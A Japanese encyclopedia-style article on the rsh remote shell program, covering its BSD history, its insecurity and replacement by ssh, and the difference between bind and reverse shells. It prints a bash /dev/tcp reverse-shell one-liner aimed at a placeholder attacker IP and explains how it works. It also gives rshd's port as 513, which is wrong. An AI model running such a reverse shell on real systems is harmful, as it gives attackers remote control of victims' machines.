リモートシェル

リモート シェル( rsh )は、別のユーザーとして、またコンピュータ ネットワーク上の別のコンピュータ上でシェル コマンドを実行できるコマンド ライン コンピュータ プログラムです。

rsh が接続するリモート システムでは、rsh デーモン(rshd) が実行されます。デーモンは通常、よく知られている 伝送制御プロトコル(TCP)ポート番号513 を使用します。

rsh は、 rcpとともに、1983 年に 4.2BSD のrloginパッケージの一部としてBSD Unix オペレーティング システムの一部として誕生しました。rshはその後、他のオペレーティング システムに移植されました。

このコマンドは、別の一般的な UNIX ユーティリティである制限付きシェルrshと同じ名前を持ちます。制限付きシェルは、 PWB/UNIXで初めて登場しました。System V Release 4では、制限付きシェルは にあることがよくあります。 /usr/bin/rsh

ユーザー認証を伴う他のバークレーの r コマンドと同様に、rshプロトコルはネットワーク上では安全ではありません。これは、ネットワーク上で暗号化されていない情報を送信するなどの理由によるものです。実装によっては、ネットワーク上で暗号化されていないパスワードを送信して認証するものもあります。rsh は、ローカル ネットワーク上であっても、セキュア シェル(ssh) プログラムに置き換えられています。^{[1] [2]}

rsh の使用例として、以下はUNIX 系システムを実行している コンピュータhost.example.com上でユーザーremoteuserとしてコマンドmkdir testdir を実行します。

$ rsh  -l リモートユーザー host.example.com "mkdir testdir" 

コマンドが完了すると、 rsh は終了します。コマンドが指定されていない場合、 rsh はrlogin を使用してリモート システムにログインします。リモート コンピュータのネットワークの場所は、ドメイン ネーム システムを使用して検索されます。

apt を使用して rsh クライアントをインストールするコマンド

# apt-get  install  rsh-redone-client

リモートシェルセッションは、ローカルデバイス（コマンドを送信する）またはリモートデバイス（コマンドを実行する）のいずれかによって開始できます。^[3]前者の場合、リモートシェルはバインドシェルと呼ばれ、後者の場合、リバースシェルと呼ばれます。^[4]

リバースシェルは、コマンドを実行するデバイスに直接アクセスできない場合に使用できます。たとえば、外部からアクセスできない NAT の背後にあるコンピューターのリモートメンテナンスなどです。^{[5] [6]}一部のエクスプロイトでは、攻撃されたデバイスから攻撃者が制御するマシンへのリバースシェルが作成されます (「リバースシェル攻撃」と呼ばれます)。次のコードはリバースシェル攻撃を示しています。^[7]

$ exec 5 <>/dev/tcp/<attacker_IP>/80 ; cat < & 5 | while read line ; do \$ line 2 > & 5 > & 5 ; done           

これは、ポート 80 で攻撃者の IP にファイル記述子として TCP ソケットを開きます。次に、ソケットから行を繰り返し読み取り、その行を実行し、stdout と stderr の両方をソケットにパイプします。言い換えると、攻撃者にマシン上のリモート シェルを提供します。

• バークレー r コマンド
• セキュアシェル

• rsh - リモート シェル - rshマニュアル ページ。
• rsh(1): リモート シェル –  DarwinおよびmacOS一般コマンドマニュアル